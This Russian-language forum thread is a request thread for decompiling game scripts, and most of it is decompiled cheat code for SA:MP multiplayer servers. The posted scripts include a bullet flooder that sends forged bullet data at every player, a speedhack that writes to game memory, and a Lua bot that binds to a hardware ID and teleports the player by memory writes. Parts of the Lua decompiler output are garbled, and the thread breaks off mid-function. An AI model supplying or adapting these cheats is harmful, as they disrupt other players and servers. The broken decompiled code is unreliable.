Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,758
5,724
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Вложения

  • decrypted.cs
    618.9 KB · Просмотры: 13
  • Нравится
Реакции: МагистрЙодаль

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP

:Label000002
8AFA:   not is_samp_available
004D: jump_if_false @Label000016
0001: wait 0 ms
0002: jump @Label000002

:Label000016
0AF8: samp add_message_to_chat "[FlooderBullet] {ffffff}by LaRossa for {ff0000}Arizona-RP {ffffff}loaded!" color 5877479 

:Label000087
0001: wait 0 ms
0AB1: call_scm_func @Label000317 0 
0B61:  samp is_local_player_spawned
004D: jump_if_false @Label000087

:Label0000BC
0001: wait 0 ms
00D6: if
0AB0:   key_pressed 35
004D: jump_if_false @Label000176
0B12: 0@ = 0@ XOR 1
00D6: if
0039:   0@ == 0
004D: jump_if_false @Label000128
0ACC: show_text_lowpriority "~g~OFF~n~by LaRossa" time 2000
0001: wait 2000 ms

:Label000128
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label000176
0ACC: show_text_lowpriority "~g~ON~n~by LaRossa" time 2000
0001: wait 2000 ms

:Label000176
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label000217
0006: 2@ = 0

:Label00018F
00D6: if
0B20: samp 3@ = actor_handle_by_samp_player_id 2@
004D: jump_if_false @Label000201
0AB1: call_scm_func @Label00021E 1 2@ 
0AB1: call_scm_func @Label00021E 1 2@ 
0AB1: call_scm_func @Label00021E 1 2@ 
0AB1: call_scm_func @Label00021E 1 2@ 
0AB1: call_scm_func @Label00021E 1 2@ 

:Label000201
000A: 2@ += 1
0019:   2@ > 1000
004D: jump_if_false @Label00018F

:Label000217
0002: jump @Label0000BC

:Label00021E
0B20: samp 9@ = actor_handle_by_samp_player_id 0@
00A0: store_actor $PLAYER_ACTOR position_to 10@ 11@ 12@
00A0: store_actor 9@ position_to 13@ 14@ 15@
0B56: set_game_key 17 state 255
0AC8: 5@ = allocate_memory_size 40
0C0D: struct 5@ offset 0 size 1 = 1
0C0D: struct 5@ offset 1 size 2 = 0@
0C0D: struct 5@ offset 3 size 4 = 10@
0C0D: struct 5@ offset 7 size 4 = 11@
0C0D: struct 5@ offset 11 size 4 = 12@
0C0D: struct 5@ offset 15 size 4 = 13@
0C0D: struct 5@ offset 19 size 4 = 14@
0C0D: struct 5@ offset 23 size 4 = 15@
0C0D: struct 5@ offset 39 size 1 = 38
0C0D: struct 5@ offset 27 size 4 = 0.0
0C0D: struct 5@ offset 31 size 4 = 0.0
0C0D: struct 5@ offset 35 size 4 = 0.5
0BC4: samp send_bullet_data 5@
0AC9: free_allocated_memory 5@
0B56: set_game_key 17 state 0
0AB2: ret 0

:Label000317
0AC8: 0@ = allocate_memory_size 128
0B6D: render 1@ = create_font "Arial" height 12 flags 13
0B6D: render 2@ = create_font "Arial" height 15 flags 13
0B6D: render 3@ = create_font "Tahoma" height 11 flags 5
0B60: convert_game_screen_coords 350.0 80.0 to_window_screen_coords 30@ 31@
0AD3: 0@ = format "Flooder Bullet {BEBEBE}v 2.0" 
000E: 30@ -= 25
0B6F: render font 1@ draw_text 0@ pos 30@ 31@ color -1
000A: 30@ += 25
0AD3: 0@ = format "by LaRossa" 
000A: 31@ += 20
0B6F: render font 2@ draw_text 0@ pos 30@ 31@ color -1
000A: 31@ += 25
0AD3: 0@ = format "Activation: {00FF00}END {ffffff}Deactivation: {CD5C5C}END" 
0B6F: render font 3@ draw_text 0@ pos 30@ 31@ color -1
000E: 31@ -= 45
0AC9: free_allocated_memory 0@
0AB2: ret 0
 

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Код открыт.

CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
03A4: name_thread "SPEEDHACK_FOR_TRUCKERS"

:Label00001A
0001: wait 0 ms
0A8C: write_memory 7431746 size 4 value 100000.0 virtual_protect 1
0A8C: write_memory 7431765 size 4 value 100000.0 virtual_protect 1
0A8C: write_memory 12216218 size 4 value 13 virtual_protect 1
00D6: if
0AB0:   key_pressed 90
004D: jump_if_false @Label00001A
00D6: if
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label00001A
03C0: 0@ = actor $PLAYER_ACTOR car
004D: jump_if_false @Label00001A
02E3: 1@ = car 0@ speed
00D6: if
8031:   not  1@ >= 100.0
004D: jump_if_false @Label0000B2
0013: 1@ *= 4.0
04BA: set_car 0@ speed_to 20
0001: wait 50 ms
0002: jump @Label00001A

:Label0000B2
04BA: set_car 0@ speed_to 20
0002: jump @Label00001A
 

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Пожалуйста, откройте код
Lua:
function randomFunction    main ()
    var_0_1 = 2000 --var_0_1 NUMBER-NUMBER
    wait(var_0_1)
    var_0_0 = {}
    var_0_1 = {}
    var_0_2 = {}
    var_0_4 = nil
    var_0_5 = nil
    var_0_6 = 0 --var_0_6 NUMBER-NUMBER
    var_0_8 = nil
    var_0_9 = nil
    var_0_10 = nil
    var_0_11 = 0 --var_0_11 NUMBER-NUMBER
    uget_0_0.C.GetVolumeInformationA(var_0_4, var_0_5, var_0_6, uget_0_1, var_0_8, var_0_9, var_0_10, var_0_11)
    uget_0_1.unknownB0 = var_0_1
    if uget_0_1 == 0 then
        --jump to 0033 (if previous if statement is false) --0033 JMP-JMP
        var_0_4 = "[BotBuilder]: {ffffff}Привязка пройдена!" --strings longer than 40 characters get cut off, so check to see if there's more!
        var_0_5 = 32255 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_3 = 1 --var_0_3 NUMBER-NUMBER
        jobed = var_0_3
        sampRegisterChatCommand("bbf", activatet)
    else
        --location 0033--0033 LOCATION-LOCATION_
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage("Ваш спец-код:", var_0_5)
        var_0_4 = uget_0_1 *  3 --var_0_4 NUMBER-NUMBER
        var_0_5 = 32255 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_4 = "[BotBuilder]: {ffffff}Привязка не пройде" --strings longer than 40 characters get cut off, so check to see if there's more!
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage("Обратитесь к vk.com/lazer_feed! ", var_0_5)
        var_0_3 = 0 --var_0_3 NUMBER-NUMBER
        jobed = var_0_3
    end
    repeat
    var_0_4 = 0 --var_0_4 NUMBER-NUMBER
    wait(var_0_4)
    var_0_3 = isPlayerPlaying(playerHandle)
    if var_0_3 then
        --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
        if enabled then
            --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
            var_0_4 = 1475.76001 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1349.569946 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1475.47998 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1349.459961 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1473.890015 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1347.119995 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1473.849976 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1341.800049 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1475.569946 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1339.800049 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_3, var_0_4, var_0_5 = GetCoordinates()
            var_0_7 = var_0_3
            var_0_8 = var_0_4
            var_0_9 = var_0_5
            var_0_10 = 50 --var_0_10 NUMBER-NUMBER
            var_0_11 = false --var_0_11 PRIMITIVE-PRIMITIVE
            var_0_6, var_0_7, var_0_8, var_0_9 = SearchMarker(var_0_7, var_0_8, var_0_9, var_0_10, var_0_11)
            if var_0_6 then
                --jump to 0138 (if previous if statement is false) --0138 JMP-JMP
                var_0_11 = var_0_7
                var_0_12 = var_0_8
                var_0_13 = var_0_9
                var_0_14 = 1 --var_0_14 NUMBER-NUMBER
                var_0_15 = -255 --var_0_15 NUMBER-NUMBER
                var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
                BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            end
            var_0_11 = 10000 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 2050 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1475.48999 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1340.079956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1473.560059 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1340.689941 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1474.02002 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1346.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1473.77002 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1347.48999 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.169998 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1474.689941 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1348.22998 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1476.109985 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1348.619995 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.280029 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.170044 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.77002 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.119995 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.300049 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.170044 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.77002 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.119995 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.300049 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.810059 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 200 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.160034 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.810059 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 200 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.160034 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 4000 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
            until false or (previous if statement is true) --location 0394
            return
        end
    end end --REVERSE ME--REVERSE ME

function randomFunction    BeginToPoint (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_,INPUT_VAR_5_)
    repeat
    var_1_6, var_1_7, var_1_8 = GetCoordinates()
    var_1_10 = INPUT_VAR_0_
    var_1_11 = INPUT_VAR_1_
    var_1_12 = INPUT_VAR_2_
    SetAngle(var_1_10, var_1_11, var_1_12)
    var_1_10 = INPUT_VAR_4_
    var_1_11 = INPUT_VAR_5_
    MovePlayer(var_1_10, var_1_11)
    var_1_10 = INPUT_VAR_0_
    var_1_11 = INPUT_VAR_1_
    var_1_12 = INPUT_VAR_2_
    var_1_13 = var_1_6
    var_1_14 = var_1_7
    var_1_15 = INPUT_VAR_2_
    var_1_9 = getDistanceBetweenCoords3d(var_1_10, var_1_11, var_1_12, var_1_13, var_1_14, var_1_15)
    var_1_11 = 0 --var_1_11 NUMBER-NUMBER
    wait(var_1_11)
    if enabled then
        --jump to 0029 (if previous if statement is false) --0029 JMP-JMP
        if var_1_9 < INPUT_VAR_3_ then
        end -- maybe?
    else
        --location 0029--0029 LOCATION-LOCATION_
        until false or (previous if statement is true) --location 0029
        return
    end
   
   

function randomFunction    MovePlayer (INPUT_VAR_0_,INPUT_VAR_1_)
    var_2_3 = 1 --var_2_3 NUMBER-NUMBER
    var_2_4 = INPUT_VAR_0_
    setGameKeyState(var_2_3, var_2_4)
    if INPUT_VAR_1_ then
        --jump to 0011 (if previous if statement is false) --0011 JMP-JMP
        var_2_3 = 16 --var_2_3 NUMBER-NUMBER
        var_2_4 = 255 --var_2_4 NUMBER-NUMBER
        setGameKeyState(var_2_3, var_2_4)
    end
    return
end


function randomFunction    SetAngle (INPUT_VAR_0_,INPUT_VAR_1_)
    var_3_3, var_3_4, var_3_5 = GetCoordinates()
    var_3_6 = INPUT_VAR_0_ - var_3_3 --var_3_6 NUMBER-NUMBER
    var_3_7 = INPUT_VAR_1_ - var_3_4 --var_3_7 NUMBER-NUMBER
    var_3_9 = var_3_6
    var_3_10 = var_3_7
    var_3_8 = getHeadingFromVector2d(var_3_9, var_3_10)
    var_3_9 = isCharInAnyCar(playerPed)
    if var_3_9 then
        --jump to 0022 (if previous if statement is false) --0022 JMP-JMP
        var_3_9 = storeCarCharIsInNoSave(playerPed)
        var_3_11 = var_3_9
        var_3_12 = var_3_8
        setCarHeading(var_3_11, var_3_12)
    else
        --location 0022--0022 LOCATION-LOCATION_
        var_3_11 = var_3_8
        setCharHeading(playerPed, var_3_11)
    end
    restoreCameraJumpcut()
    return
end


function randomFunction    GetCoordinates ()
    var_4_0 = isCharInAnyCar(playerPed)
    if var_4_0 then
        --jump to 0013 (if previous if statement is false) --0013 JMP-JMP
        var_4_0 = storeCarCharIsInNoSave(playerPed)
        var_4_2 = var_4_0
        return getCarCoordinates(var_4_2)
    else
        --location 0013--0013 LOCATION-LOCATION_
        return getCharCoordinates(playerPed)
    end
    return
end


function randomFunction    activatet ()
    var_5_0 = not enabled
    enabled = var_5_0
    if enabled then
        --jump to 0028 (if previous if statement is false) --0028 JMP-JMP
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {7FFF00}Успешно Активирован!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {7FFF00}АвтоКапча активирована!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
    else
        --location 0028--0028 LOCATION-LOCATION_
        until false or (previous if statement is true) --location 0029
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {8B0000}Деактивирован!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {8B0000}АвтоКапча деактивирована!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
    end
    return
end


function randomFunction    teleportPlayer (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_)
    var_6_3 = isCharInAnyCar(playerPed)
    if var_6_3 then
        --jump to 0012 (if previous if statement is false) --0012 JMP-JMP
        var_6_5 = INPUT_VAR_0_
        var_6_6 = INPUT_VAR_1_
        var_6_7 = INPUT_VAR_2_
        setCharCoordinates(playerPed, var_6_5, var_6_6, var_6_7)
    end
    var_6_5 = INPUT_VAR_0_
    var_6_6 = INPUT_VAR_1_
    var_6_7 = INPUT_VAR_2_
    setCharCoordinatesDontResetAnim(playerPed, var_6_5, var_6_6, var_6_7)
    return
end


function randomFunction    setCharCoordinatesDontResetAnim (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_)
    var_7_5 = INPUT_VAR_0_
    var_7_4 = doesCharExist(var_7_5)
    if var_7_4 then
        --jump to 0015 (if previous if statement is false) --0015 JMP-JMP
        var_7_5 = INPUT_VAR_0_
        var_7_4 = getCharPointer(var_7_5)
        var_7_6 = var_7_4
        var_7_7 = INPUT_VAR_1_
        var_7_8 = INPUT_VAR_2_
        var_7_9 = INPUT_VAR_3_
        setEntityCoordinates(var_7_6, var_7_7, var_7_8, var_7_9)
    end
    return
end


function randomFunction    setEntityCoordinates (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_)
    if INPUT_VAR_0_ ~= 0 then
        --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
        var_8_5 = INPUT_VAR_0_ +  20 --var_8_5 NUMBER-NUMBER
        var_8_6 = 4 --var_8_6 NUMBER-NUMBER
        var_8_7 = false --var_8_7 PRIMITIVE-PRIMITIVE
        var_8_4 = readMemory(var_8_5, var_8_6, var_8_7)
        if var_8_4 ~= 0 then
            --jump to 0035 (if previous if statement is false) --0035 JMP-JMP
            var_8_5 = var_8_4 +  48 --var_8_5 NUMBER-NUMBER
            var_8_7 = var_8_5 +  0 --var_8_7 NUMBER-NUMBER
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
            var_8_10 = INPUT_VAR_1_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
            var_8_7 = var_8_5 +  4 --var_8_7 NUMBER-NUMBER
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
